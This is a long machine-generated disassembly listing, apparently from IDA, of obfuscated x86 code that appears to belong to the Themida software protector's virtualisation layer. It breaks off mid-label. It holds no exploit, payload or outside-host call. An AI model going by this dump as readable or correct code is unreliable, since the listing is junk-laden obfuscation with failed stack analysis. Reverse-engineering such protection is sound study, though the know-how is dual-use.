loc_557174: ; CODE XREF: Themida_:0055B0BCj add ecx, 3F7B0893h pop ebx jmp sub_55B88F ; --------------------------------------------------------------------------- loc_557180: ; CODE XREF: sub_556A70+45BBj sub edi, ebp pop ebp mov eax, edi pop edi jmp loc_5555E9 ; --------------------------------------------------------------------------- loc_55718B: ; CODE XREF: sub_556A70+329Bj push [esp-8+arg_4] jmp loc_5584DC ; --------------------------------------------------------------------------- loc_557193: ; CODE XREF: Themida_:0055A83Aj inc edx jmp sub_550E2C ; --------------------------------------------------------------------------- loc_557199: ; CODE XREF: sub_556A70-1D3j and ebp, 2D105D7Ah inc ebp push esi jmp loc_55AE3A ; --------------------------------------------------------------------------- loc_5571A6: ; CODE XREF: sub_556A70+CACj shr eax, 0Ch xor eax, ecx push 109Bh jmp loc_552C81 ; --------------------------------------------------------------------------- loc_5571B5: ; CODE XREF: sub_556A70+1D8j push edx jmp loc_5543F3 ; --------------------------------------------------------------------------- loc_5571BB: ; CODE XREF: sub_556A70+D49j add eax, 2 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] shr byte ptr [esp+0Ch+var_C], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5571CD: ; CODE XREF: sub_556A70+3858j sub esp, 4 mov [esp+14h+var_14], edi jmp loc_5568E0 ; --------------------------------------------------------------------------- loc_5571DB: ; CODE XREF: sub_5530EF+3j add ebp, 4 add ebp, 4 xchg ebp, [esp+14h+var_14] mov esp, [esp+14h+var_14] pop dword ptr [edi+24h] loc_5571F0: ; CODE XREF: sub_556A70+4A20j sub esp, 4 mov [esp+14h+var_14], ecx mov ecx, ebx mov eax, ecx jmp loc_551D09 ; --------------------------------------------------------------------------- loc_5571FF: ; CODE XREF: sub_556A70+3CB9j mov [esp+14h+var_14], ecx jmp loc_5546A8 ; --------------------------------------------------------------------------- loc_557207: ; CODE XREF: sub_556A70-5F86j push ebp push esi mov esi, 6B53470Eh shr esi, 6 not esi xor esi, 0BBA2F02Eh mov ebp, esi pop esi add eax, 4A8E563Ah jmp loc_55B13D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp-4+arg_0], cl pushf jmp loc_557FB4 ; --------------------------------------------------------------------------- loc_557236: ; CODE XREF: Themida_:00555D5Dj pop ebx mov ebx, esi push [esp-4+arg_0] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557252: ; CODE XREF: Themida_:005531C8j add esp, 4 jmp loc_55A3EF ; --------------------------------------------------------------------------- loc_55725A: ; CODE XREF: sub_556A70-28EBj mov [esp-0Ch+arg_8], ebx push ecx mov ecx, 472852CCh mov ebx, 36E23B31h add ebx, ecx pop ecx sub eax, 220B02AAh jmp loc_550D33 ; --------------------------------------------------------------------------- loc_557275: ; CODE XREF: sub_55AA5F-8500j push [esp-0Ch+arg_C] pop edx pop [esp-0Ch+arg_8] pop esp mov [esp-14h+arg_10], ecx jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557286: ; CODE XREF: Themida_:00554896j sub eax, 7D50223Eh push 3A5Eh jmp loc_556937 ; --------------------------------------------------------------------------- loc_557295: ; CODE XREF: sub_556A70+13F9j mov edi, ebx pop ebx sub edi, 3F6667E1h xor edi, 19F95045h push ecx mov ecx, 49BD1634h and ecx, 0E592106h dec ecx not ecx or ecx, 6707264Bh and ecx, 0DDF4D19h xor ecx, 5FB237EFh and edi, ecx pop ecx dec edi jmp loc_553C4C ; --------------------------------------------------------------------------- loc_5572CE: ; CODE XREF: sub_556A70-485Cj add esp, 4 jmp loc_552066 ; --------------------------------------------------------------------------- loc_5572D9: ; CODE XREF: sub_556A70+1098j xor bl, al jmp loc_5520BA ; --------------------------------------------------------------------------- loc_5572E0: ; CODE XREF: sub_553E6A-17F6j add esi, 45CA46ABh shr esi, 2 jmp loc_5515A1 ; --------------------------------------------------------------------------- loc_5572EE: ; CODE XREF: Themida_:0055A16Bj mov ecx, 783653AEh or ecx, 6F61070Fh and ecx, 71B903D4h and ecx, 18132D40h or ecx, 6A0D207Fh push ebp mov ebp, 7A1D217Bh sub ecx, ebp pop ebp add edi, ecx pop ecx xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] sub ecx, 64E77962h pop edx push 4CFh mov [esp+8+var_8], edx push esp pop edx add edx, 4 push ebx mov ebx, 48273339h jmp loc_55B554 ; --------------------------------------------------------------------------- loc_55733F: ; CODE XREF: sub_556A70+16C9j mov ebx, esi pop esi mov edx, [esp+8+var_8] add esp, 4 add edi, ebx pop ebx jmp loc_5596BB ; --------------------------------------------------------------------------- mov cx, [esp+0] push edi jmp loc_5568A2 ; --------------------------------------------------------------------------- loc_55735D: ; CODE XREF: Themida_:0055A551j push ecx mov ecx, 4577749Fh jmp loc_552D69 ; --------------------------------------------------------------------------- loc_557368: ; CODE XREF: Themida_:005569F9j xor cl, 32h mov al, cl mov ecx, [esp+8+var_8] add esp, 4 sub al, 77h and dh, al pop eax shr dh, 1 add dh, 0AFh add al, 23h sub al, dh jmp loc_559310 ; --------------------------------------------------------------------------- loc_557389: ; CODE XREF: Themida_:0055423Aj mov ecx, [esp+0] add esp, 4 push eax push 3477h mov [esp+4+var_4], ebx jmp loc_559491 ; --------------------------------------------------------------------------- loc_55739D: ; CODE XREF: sub_556A70-5387j sub eax, 53F233DFh add eax, 585E7215h jmp loc_556E9D ; --------------------------------------------------------------------------- loc_5573AC: ; CODE XREF: sub_556A70-4CFEj mov ch, bh mov ebx, [esp+4+var_4] add esp, 4 mov bl, ch pop ecx push edx jmp loc_551A42 ; --------------------------------------------------------------------------- loc_5573BD: ; CODE XREF: sub_556A70+10ACj add cl, 36h mov dh, cl mov ecx, [esp+0] add esp, 4 add al, 6Eh add al, 18h add al, dh push ecx mov ch, 8 shr ch, 3 dec ch sub ch, 0E8h jmp loc_555EDD ; --------------------------------------------------------------------------- loc_5573DE: ; CODE XREF: sub_556A70-CC9j add edx, edi add edx, 29EF3030h add dword ptr [edx], 1 pop edx jmp sub_553651 ; --------------------------------------------------------------------------- loc_5573F2: ; CODE XREF: Themida_:00559F28j mov ch, 3Ah jmp loc_55483D ; --------------------------------------------------------------------------- loc_5573F9: ; CODE XREF: Themida_:0055CEDBj sub esp, 4 jmp loc_5559FA ; --------------------------------------------------------------------------- loc_557401: ; CODE XREF: Themida_:0055241Cj mov edi, 7CFE6A15h neg edi jmp loc_5564E3 ; --------------------------------------------------------------------------- loc_55740D: ; CODE XREF: sub_556A70-F49j add edi, 4 xchg edi, [esp-26h+arg_20+2] mov esp, [esp-26h+arg_20+2] push dword ptr [eax] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55741D: ; CODE XREF: sub_5539DB+552Bj mov [esp-22h+arg_1C+2], edx not [esp-22h+arg_1C+2] pop edx xchg ebx, edx push ebx not [esp-22h+arg_1C+2] jmp loc_554D43 ; --------------------------------------------------------------------------- loc_55742F: ; CODE XREF: Themida_:0055CF12j mov ecx, 561344B1h xor ecx, 561344B3h add ebp, 3FD66A72h add ebp, ecx sub ebp, 3FD66A72h mov ecx, [esp-22h+arg_1C+2] add esp, 4 xor ebp, [esp-26h+arg_20+2] jmp loc_55ACE7 ; --------------------------------------------------------------------------- loc_557456: ; CODE XREF: Themida_:00553D84j mov [esp-26h+arg_20+2], edx jmp loc_5556A0 ; --------------------------------------------------------------------------- loc_55745E: ; CODE XREF: sub_5599E2-3B66j mov esi, 5D067624h sub esi, 5D067620h add ebx, esi pop esi jmp loc_559F5F ; --------------------------------------------------------------------------- loc_557471: ; CODE XREF: sub_55C607+10j pop edi pop edx push esi mov esi, 4 add edx, esi mov esi, [esp-2Eh+arg_28+2] add esp, 4 push 484Dh mov [esp-2Eh+arg_28+2], edi push esi push 70B6245Ch pop esi jmp loc_550BDE ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] xor [esp-26h+arg_20+2], 47F80717h push [esp-26h+arg_20+2] pop eax add esp, 4 jmp loc_5593E9 ; --------------------------------------------------------------------------- loc_5574AE: ; CODE XREF: Themida_:0055CC64j mov esp, [esp-2Ah+arg_24+2] and [esp-2Ah+arg_24+2], eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5574BA: ; CODE XREF: sub_556A70+5F6Fj pop esp or edi, 49565302h jmp loc_559BF8 ; --------------------------------------------------------------------------- loc_5574C6: ; CODE XREF: sub_556A70-43Cj and edx, 1EC05150h add edx, 4C8E2ED3h sub ebx, edx jmp loc_5518D6 ; --------------------------------------------------------------------------- loc_5574D9: ; CODE XREF: sub_556A70+102Ej push ebp mov ebp, 73650A14h jmp loc_55C0F4 ; --------------------------------------------------------------------------- loc_5574E4: ; CODE XREF: Themida_:0055C413j xor word ptr [esp+14h+var_14], bp jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5574ED: ; CODE XREF: sub_556A70-5F41j mov edi, 4DE3156Dh jmp loc_5588CF ; --------------------------------------------------------------------------- loc_5574F7: ; CODE XREF: sub_5563FF+6300j mov ebx, esp push edx mov edx, 77A5600Ah shl edx, 8 and edx, 393E4587h neg edx jmp loc_555F94 ; --------------------------------------------------------------------------- loc_55750F: ; CODE XREF: sub_556058+8j xor ebp, 2E312D1Ch mov ebx, ebp jmp loc_556FAA ; --------------------------------------------------------------------------- loc_55751C: ; CODE XREF: Themida_:00551456j push 114h mov [esp+0], edi push esi push 678A5E9Eh pop esi sub esi, 0ED2E12F0h mov edi, esi pop esi sub [esp-2+arg_0+2], edi mov edi, [esp+0] push ecx mov ecx, esp jmp loc_5523A1 ; --------------------------------------------------------------------------- loc_557543: ; CODE XREF: sub_556A70-57F3j xchg ebx, [esp-12h+arg_C+2] pop esp xor eax, 6F13942h or eax, eax jnz loc_5580E2 push 3437h mov [esp-12h+arg_C+2], edi jmp loc_5553E0 ; --------------------------------------------------------------------------- loc_557561: ; CODE XREF: Themida_:00557EB5j pop ebx jmp loc_55701E ; --------------------------------------------------------------------------- loc_557567: ; CODE XREF: Themida_:00555CE0j add ecx, esi pop esi xchg ecx, [esp-1Ah+arg_14+2] pop esp add eax, ebp mov ebp, [esp-1Eh+arg_18+2] sub esp, 4 mov [esp-1Ah+arg_14+2], edx jmp loc_552C28 ; --------------------------------------------------------------------------- loc_557581: ; CODE XREF: Themida_:00557D86j sub esp, 4 mov [esp-16h+arg_10+2], esi mov esi, esp push 0D45h mov [esp-12h+arg_C+2], edi mov edi, 45BF0BF4h push ebp push esi push 58CF0462h pop esi add esi, 1E5743B2h add esi, 634C00B5h xor esi, 0A42E6894h jmp loc_556377 ; --------------------------------------------------------------------------- loc_5575B5: ; CODE XREF: sub_55265B+7j dec ebp add ebp, 14BA41AAh mov ecx, ebp pop ebp jmp sub_554299 ; --------------------------------------------------------------------------- loc_5575C4: ; CODE XREF: sub_556A70+3579j mov esi, ebx pop ebx jmp loc_552330 ; --------------------------------------------------------------------------- loc_5575CC: ; CODE XREF: Themida_:00555F74j pop eax xchg ebx, [esp-16h+arg_10+2] mov esp, [esp-16h+arg_10+2] add esp, 4 jmp loc_55CBEF ; --------------------------------------------------------------------------- loc_5575DE: ; CODE XREF: sub_5525ED+13ACj sub edi, 19480410h sub edi, 47FC5C9Eh add edi, ebx add edi, 47FC5C9Eh add edi, 19480410h pop ebx jmp loc_5533BC ; --------------------------------------------------------------------------- loc_5575FE: ; CODE XREF: Themida_:0055AD4Ej sub esp, 4 mov [esp-1Ah+arg_14+2], edi mov edi, edx mov ecx, edi jmp loc_55CE16 ; --------------------------------------------------------------------------- loc_55760D: ; CODE XREF: sub_556A70+25EFj pop eax sub ecx, 4 xchg ecx, [esp-1Eh+arg_18+2] pop esp mov [esp-22h+arg_1C+2], esi jmp loc_5548AE ; --------------------------------------------------------------------------- loc_55761D: ; CODE XREF: Themida_:00559936j mov ebp, 3C196E5Dh mov ecx, ebp jmp loc_55413C ; --------------------------------------------------------------------------- mov ax, word ptr [esp-22h+arg_1C+2] push eax mov eax, esp push esi mov esi, 44AB69ADh shl esi, 5 xor esi, 956D35A4h jmp sub_556058 ; --------------------------------------------------------------------------- loc_557644: ; CODE XREF: sub_556A70-45FAj mov ebx, 6880619Ch add ebx, 2C391174h shr ebx, 8 push ecx mov ecx, 7F679CBh dec ecx sub ecx, 0EDB053E9h and ebx, ecx mov ecx, [esp+8+var_8] jmp loc_5592D9 ; --------------------------------------------------------------------------- loc_557669: ; CODE XREF: sub_556A70-322Fj add edx, edi sub edx, 7C0B03B8h jmp loc_55A4CD ; --------------------------------------------------------------------------- loc_557676: ; CODE XREF: Themida_:0055579Bj mov edi, esp add edi, 4 push eax mov eax, 524979F6h not eax shl eax, 3 xor eax, 6DB4304Ch add edi, eax jmp loc_557705 ; --------------------------------------------------------------------------- loc_557695: ; CODE XREF: sub_556A70+100j sub esi, 69A13174h add esi, 6B8F73D7h add esi, ebp sub esi, 6B8F73D7h push ebp push ecx mov ecx, 554E5022h jmp loc_557AAD ; --------------------------------------------------------------------------- loc_5576B5: ; CODE XREF: sub_556A70-3AC8j add ecx, ebx mov ebx, [esp+4+var_4] jmp loc_551593 ; --------------------------------------------------------------------------- loc_5576BF: ; CODE XREF: sub_556A70-45B4j or ebp, 14035E37h and ebp, 0A416A75h sub ebp, (offset loc_416A72+2) mov esi, ebp pop ebp and eax, esi push dword ptr [esp+0] pop esi push eax push edx jmp loc_555F2F ; --------------------------------------------------------------------------- loc_5576E1: ; CODE XREF: sub_558287+1j mov ebp, 4D334869h add [esp+8], ebp pop ebp pop esi mov esi, [esp+0] add esp, 4 jmp loc_553A21 ; --------------------------------------------------------------------------- loc_5576F7: ; CODE XREF: Themida_:0055C34Ej mov edi, [esp-4+arg_0] add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557705: ; CODE XREF: sub_556A70+C20j pop eax jmp loc_55CAC9 ; --------------------------------------------------------------------------- loc_55770B: ; CODE XREF: sub_556A70+5FF6j not eax sub eax, 258EE23h mov ecx, eax pop eax add edi, ecx pop ecx xchg edi, [esp+8+var_8] pop esp jmp loc_5571A6 ; --------------------------------------------------------------------------- loc_557721: ; CODE XREF: sub_556A70-476Fj sub edi, edx pop edx add ecx, edi pop edi push esi push 4 pop esi add ecx, 436B7536h add ecx, esi jmp loc_55A827 ; --------------------------------------------------------------------------- loc_55773B: ; CODE XREF: sub_55ABA3-7C50j mov ebp, [esp+0] add esp, 4 add ebx, 54867D39h jmp loc_555667 ; --------------------------------------------------------------------------- loc_55774F: ; CODE XREF: sub_556A70-7D4j xor ebp, [esp+0] pop esp pop ecx add ecx, 3F584D13h push 2785h mov [esp-4+arg_0], edx mov edx, esp jmp loc_55A7B0 ; --------------------------------------------------------------------------- loc_557769: ; CODE XREF: Themida_:0055550Aj push edx mov edx, 4 add ecx, edx pop edx add ecx, 4 xchg ecx, [esp-4+arg_0] jmp loc_552AF1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp-6+arg_0+2], cl pushf jmp loc_552704 ; --------------------------------------------------------------------------- loc_55778F: ; CODE XREF: sub_556A70-5AB4j add ecx, 3DF410E1h add ecx, eax sub ecx, 3DF410E1h jmp loc_55BFDA ; --------------------------------------------------------------------------- loc_5577A2: ; CODE XREF: sub_556A70-16CAj xor ecx, [esp-4+arg_0] xor [esp-4+arg_0], ecx jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5577AD: ; CODE XREF: sub_557D5C+4AE1j xchg ebx, [esp-4+arg_0] pop esp and eax, ebx jmp loc_557916 ; --------------------------------------------------------------------------- loc_5577B8: ; CODE XREF: Themida_:00553B73j pop ebx jmp loc_5571BB ; --------------------------------------------------------------------------- loc_5577BE: ; CODE XREF: sub_556A70+3089j shl ecx, 2 xor ecx, 3E910574h sub ecx, 0FBE4D5ECh and eax, ecx mov ecx, [esp-0Ch+arg_8] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-8+arg_4] pop esp or eax, eax jz loc_5581BD push dword ptr [edi+1Ch] push ebx mov ebx, esp add ebx, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_55ADF8 ; --------------------------------------------------------------------------- loc_557804: ; CODE XREF: Themida_:00558FAFj sub edi, 5271410Ch sub edi, ebp sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 5271410Ch jmp loc_556A54 ; --------------------------------------------------------------------------- loc_55781C: ; CODE XREF: sub_556A70-4997j xchg edx, [esp+4+var_4] pop esp push 7BBh mov [esp+4+var_4], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp push ebx mov ebx, esp push esi jmp loc_5517E7 ; --------------------------------------------------------------------------- loc_557840: ; CODE XREF: Themida_:0055BDD0j xchg eax, [esp+8+var_8] pop esp jmp loc_553019 ; --------------------------------------------------------------------------- push [esp+4+var_4] pop ecx push eax mov eax, esp push edi mov edi, 19973FBEh push esi mov esi, 68C009C8h sub edi, esi jmp loc_55AD31 ; --------------------------------------------------------------------------- loc_557863: ; CODE XREF: sub_559CCC-7D0Ej pop ecx xor ecx, 637B757Ah pop ebx xor [edi+24h], ecx mov ecx, [esp+8+var_8] jmp sub_553B16 ; --------------------------------------------------------------------------- loc_557876: ; CODE XREF: Themida_:00552493j add esi, 2 jmp loc_551431 ; --------------------------------------------------------------------------- loc_55787E: ; CODE XREF: Themida_:005542BAj shr ecx, 7 not ecx push edx mov edx, 886D8604h xor ecx, edx mov edx, [esp+0Ch+var_C] push 3763h jmp loc_550DC2 ; --------------------------------------------------------------------------- loc_557898: ; CODE XREF: sub_556A70-33DCj xor ebp, 513760DFh not ebp sub ebp, 0FFFFFFFFh xor ebp, 0E6879099h jmp loc_55996C ; --------------------------------------------------------------------------- loc_5578AE: ; CODE XREF: Themida_:0055C254j pop eax pop ecx sub esp, 4 jmp loc_552473 ; --------------------------------------------------------------------------- loc_5578BB: ; CODE XREF: sub_556A70-E62j add esp, 4 push esi push [esp+8+var_4] mov esi, [esp+0Ch+var_C] jmp loc_5519D2 ; --------------------------------------------------------------------------- loc_5578CB: ; CODE XREF: Themida_:00558132j push esi push esp pop esi sub esp, 4 mov [esp+14h+var_14], edi mov edi, 4 add esi, edi mov edi, [esp+14h+var_14] push edi mov edi, esp push 4A23h mov [esp+1Ch+var_1C], ebx jmp loc_55161A ; --------------------------------------------------------------------------- loc_5578F1: ; CODE XREF: sub_556A70-1624j or word ptr [esp-28h+arg_24], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_5578FB: ; CODE XREF: sub_5526D6+354j push ebp mov ebp, 458D187Eh add ebp, 0A41BA5h sub ebp, 596063E4h not ebp dec ebp inc ebp jmp loc_552B4C ; --------------------------------------------------------------------------- loc_557916: ; CODE XREF: sub_556A70+D43j mov ebx, [esp-8+arg_4] jmp loc_55702F ; --------------------------------------------------------------------------- loc_55791E: ; CODE XREF: sub_556A70+EE1j push 49C0h mov [esp-4+arg_0], ebx jmp loc_556C72 ; --------------------------------------------------------------------------- loc_55792B: ; CODE XREF: Themida_:0055AD96j mov ecx, esp push eax jmp loc_557088 ; --------------------------------------------------------------------------- loc_557933: ; CODE XREF: sub_556A70+5E2j sub ch, 72h mov dl, ch pop ecx add al, 0D8h sub al, dl sub al, 0D8h jmp loc_5514F4 ; --------------------------------------------------------------------------- loc_557944: ; CODE XREF: sub_55C746-358Fj sub edi, 4 xchg edi, [esp+4+var_4] pop esp mov [esp+0], ecx jmp loc_55791E ; --------------------------------------------------------------------------- loc_557956: ; CODE XREF: sub_554E85-23A6j mov [esp+0], ebp push edx mov edx, 0B97497Ah push ebx mov ebx, 1D5F689Bh mov ebp, 11E81F21h sub ebp, ebx jmp loc_55CB9D ; --------------------------------------------------------------------------- loc_557971: ; CODE XREF: Themida_:005516A1j push ecx mov ch, 0B4h neg ch jmp loc_55CBFF ; --------------------------------------------------------------------------- mov eax, [esp+0Ch+var_C] push edi push esp pop edi sub esp, 4 mov [esp+14h+var_14], ebx push edx push 6FF35D54h pop edx jmp loc_558926 ; --------------------------------------------------------------------------- loc_557996: ; CODE XREF: sub_556A70+618Aj mov [esp+18h+var_18], eax jmp loc_559E41 ; --------------------------------------------------------------------------- loc_55799E: ; CODE XREF: sub_55292B+5FDAj mov cl, dl pop edx mov dl, cl pop ecx jmp loc_55B137 ; --------------------------------------------------------------------------- loc_5579A9: ; CODE XREF: sub_556A70+55DCj and eax, edx push [esp+10h+var_10] pop edx sub esp, 4 mov [esp+14h+var_14], edi jmp loc_55CA51 ; --------------------------------------------------------------------------- loc_5579BA: ; CODE XREF: sub_553E75+EEj add esp, 4 xor al, ch pop ecx sub esp, 2 mov word ptr [esp+10h+var_10], bx mov bh, 5 push ebx jmp loc_5538EF ; --------------------------------------------------------------------------- loc_5579D2: ; CODE XREF: Themida_:005514E7j push ebx mov ebx, 408F3315h sub ebx, 5089AA90h jmp loc_5538F8 ; --------------------------------------------------------------------------- loc_5579E3: ; CODE XREF: Themida_:00559FFEj pop esi jmp loc_553FE3 ; --------------------------------------------------------------------------- loc_5579E9: ; CODE XREF: Themida_:00556260j push esp pop ebp jmp loc_55A023 ; --------------------------------------------------------------------------- loc_5579F0: ; CODE XREF: sub_556A70-5EA3j add edi, 4 push ecx mov ecx, 4 jmp loc_554BE7 ; --------------------------------------------------------------------------- loc_557A01: ; CODE XREF: Themida_:00558123j add esp, 4 add ecx, 406969B3h xor eax, ecx mov ecx, [esp-0Eh+arg_8+2] add esp, 4 sub esp, 4 mov [esp-0Eh+arg_8+2], esi push ebx mov ebx, 304D1E28h inc ebx dec ebx push ecx jmp loc_55A289 ; --------------------------------------------------------------------------- loc_557A2C: ; CODE XREF: Themida_:00559C55j sub al, bl push ecx mov ch, 1Bh not ch and ch, 20h xor ch, 0A3h inc ch shl ch, 7 sub ch, 0EFh sub al, ch pop ecx jmp loc_551E62 ; --------------------------------------------------------------------------- loc_557A49: ; CODE XREF: Themida_:00553A02j xor ecx, 9F85E9E4h add ebp, 778947F4h jmp loc_5549ED ; --------------------------------------------------------------------------- loc_557A5A: ; CODE XREF: Themida_:0055BCD9j add esi, 6F124F5Bh add esi, 8ADFBDE1h mov ecx, esi pop esi add ebp, ecx mov ecx, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_55B643 ; --------------------------------------------------------------------------- loc_557A79: ; CODE XREF: sub_553B16-130Fj add eax, edx add eax, 36003F46h pop edx push 60AEh mov [esp-0Eh+arg_8+2], esi push 1E376550h pop esi sub esp, 4 mov [esp-0Ah+arg_4+2], esi xchg edi, [esp-0Ah+arg_4+2] not edi xchg edi, [esp-0Ah+arg_4+2] pop esi jmp loc_5574D9 ; --------------------------------------------------------------------------- loc_557AA3: ; CODE XREF: sub_556A70-3D7j add esp, 4 neg ebx jmp loc_553BF4 ; --------------------------------------------------------------------------- loc_557AAD: ; CODE XREF: sub_556A70+C40j add ecx, 53F76094h add ecx, 570C598Eh neg ecx add ecx, 38F48756h mov ebp, ecx pop ecx sub ebp, 0CF014B9Eh add esi, ebp pop ebp mov ebp, [esp-12h+arg_C+2] add esp, 4 jmp loc_55BC36 ; --------------------------------------------------------------------------- loc_557AD8: ; CODE XREF: sub_556A70-1492j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557ADD: ; CODE XREF: Themida_:0055688Aj add ecx, 6469351Ah shl ecx, 4 xor ecx, 68864862h jmp loc_556A8F ; --------------------------------------------------------------------------- loc_557AF1: ; CODE XREF: sub_550F53+7452j sub esp, 4 jmp loc_55A22B ; --------------------------------------------------------------------------- loc_557AF9: ; CODE XREF: sub_556A70-58C0j add al, dh pop dx pop ecx mov cx, word ptr [esp-14h+arg_10] add esp, 2 jmp loc_5572D9 ; --------------------------------------------------------------------------- loc_557B0D: ; CODE XREF: sub_556A70+1Aj push 6761h mov [esp+18h+var_18], ecx mov cl, 8Bh not cl add cl, 0B6h jmp loc_5573BD sub_556A70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557B21: ; CODE XREF: sub_556A70+4E1Aj sub esi, 567C0FBDh push esi pop edx jmp loc_554B0C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557B2E: ; CODE XREF: Themida_:00559D2Aj mov [esp], edi mov edi, 3869509Dh mov edx, edi mov edi, [esp] add esp, 4 jmp loc_55BEAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557B46: ; CODE XREF: sub_556A70+4CA3j add esp, 4 shr edi, 2 shl edi, 1 push ebp jmp loc_55C010 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557B54: ; CODE XREF: Themida_:0055C40Aj mov esp, [esp] or [esp], eax pushf jmp loc_551CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557B60: ; CODE XREF: sub_556A70+3FC5j mov [esp+18h+var_18], eax jmp loc_55345F ; --------------------------------------------------------------------------- loc_557B68: ; CODE XREF: sub_556A70-4B79j add edi, 0FFFFFFFFh not edi or edi, 72DF61EFh jmp loc_55567C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557B78: ; CODE XREF: Themida_:005558BBj push esi mov esi, 5F6A6CDEh xor eax, esi pop esi not eax jmp loc_55B313 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- lodsd push ebp push edx mov edx, 4D0E4BFCh shl edx, 3 sub edx, 459B5B0Ah mov ebp, edx pop edx sub eax, ebp pop ebp add eax, ebx jmp loc_55B84F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557BB6: ; CODE XREF: sub_556A70+438Ej xchg ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], edi mov edi, 4 jmp loc_554CF4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557BC9: ; CODE XREF: Themida_:00553F35j mov ecx, esp jmp loc_55530D ; --------------------------------------------------------------------------- loc_557BD0: ; CODE XREF: Themida_:00555145j sub edi, edx jmp loc_55CFBB ; --------------------------------------------------------------------------- loc_557BD7: ; CODE XREF: Themida_:00559B4Ej mov ebx, [esp] jmp loc_555FC6 ; --------------------------------------------------------------------------- loc_557BDF: ; CODE XREF: Themida_:00551F83j add al, 0EBh push 2CBDh jmp loc_550FFE ; --------------------------------------------------------------------------- loc_557BEB: ; CODE XREF: Themida_:0055C7A0j shl ch, 1 shl ch, 6 sub esp, 4 jmp loc_55AF0F ; --------------------------------------------------------------------------- loc_557BF8: ; CODE XREF: Themida_:00552977j push ebx push edi mov edi, 68890363h jmp loc_55AE94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557C04: ; CODE XREF: sub_556A70+38E7j push edx push eax push 42B015CAh mov eax, [esp+4+var_4] add esp, 4 add eax, 33D1FA5Eh jmp loc_556E53 ; --------------------------------------------------------------------------- loc_557C1E: ; CODE XREF: sub_556A70-1123j shr edi, 3 add edi, 3A9646EAh add edi, 0BF35147h mov eax, edi pop edi push ecx push esi jmp loc_556910 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557C37: ; CODE XREF: Themida_:00558161j pop ebp push ebx mov ebx, 24890F87h shl ebx, 4 push ebp mov ebp, 362F464Dh sub ebx, 74C50F42h add ebx, ebp add ebx, 74C50F42h pop ebp shl ebx, 8 not ebx jmp loc_558641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557C60: ; CODE XREF: sub_556A70-4756j xor byte ptr [esp+4+var_4], al xor al, byte ptr [esp+4+var_4] xor byte ptr [esp+4+var_4], al jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557C6E: ; CODE XREF: sub_556A70-F91j mov ax, word ptr [esp-1Ah+arg_14+2] push edi jmp loc_559E34 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557C78: ; CODE XREF: Themida_:0055B936j add ebx, 2 xchg ebx, [esp] jmp loc_55526D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557C86: ; CODE XREF: sub_556A70-F80j xchg ecx, [esp-1Ah+arg_14+2] pop esp xchg eax, [esp-1Eh+arg_18+2] pop esp jmp loc_55B869 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557C93: ; CODE XREF: Themida_:0055BBEFj push edx jmp loc_5538A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557C99: ; CODE XREF: sub_556A70+1CFj pop eax add edi, ebx pop ebx jmp sub_5525ED ; --------------------------------------------------------------------------- loc_557CA2: ; CODE XREF: sub_556A70+3689j dec byte ptr [esp+0] pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push 5ED6h mov [esp], esi jmp loc_558990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557CBC: ; CODE XREF: sub_556A70+3D7Cj mov ebx, [esp+4+var_4] add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_557CCA: ; CODE XREF: sub_556A70+43Aj add ebx, eax push dword ptr [ebx] pop ecx mov ebx, [esp+0Ch+var_C] jmp loc_5542CC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557CD7: ; CODE XREF: Themida_:0055139Ej pop esp add ecx, 4 jmp loc_552D57 ; --------------------------------------------------------------------------- loc_557CE3: ; 